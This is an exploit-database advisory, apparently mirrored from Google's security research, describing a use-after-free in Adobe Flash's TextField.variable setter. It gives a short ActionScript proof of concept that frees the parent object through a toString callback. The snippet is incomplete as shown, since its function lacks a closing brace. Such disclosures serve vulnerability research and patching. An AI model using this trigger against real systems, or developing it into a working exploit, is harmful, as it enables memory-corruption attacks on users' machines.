Adobe Flash TextField.Variable Setter - Use-After-Free

ID 1337DAY-ID-25732
Type zdt
Reporter Google Security Research
Modified 2015-12-18T00:00:00


Exploit for windows platform in category dos / poc

There is a use-after-free in the TextField.variable setter. If the variable name that is added is an object with toString defined, the toString function can free the field's parent object, which is then used. A minimal PoC is as follows:
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.variable = {toString : func};
function func(){
        // Fix heap here
    return "myvar";
A sample swf and fla are attached.
Proof of Concept:

# [2018-04-09]  #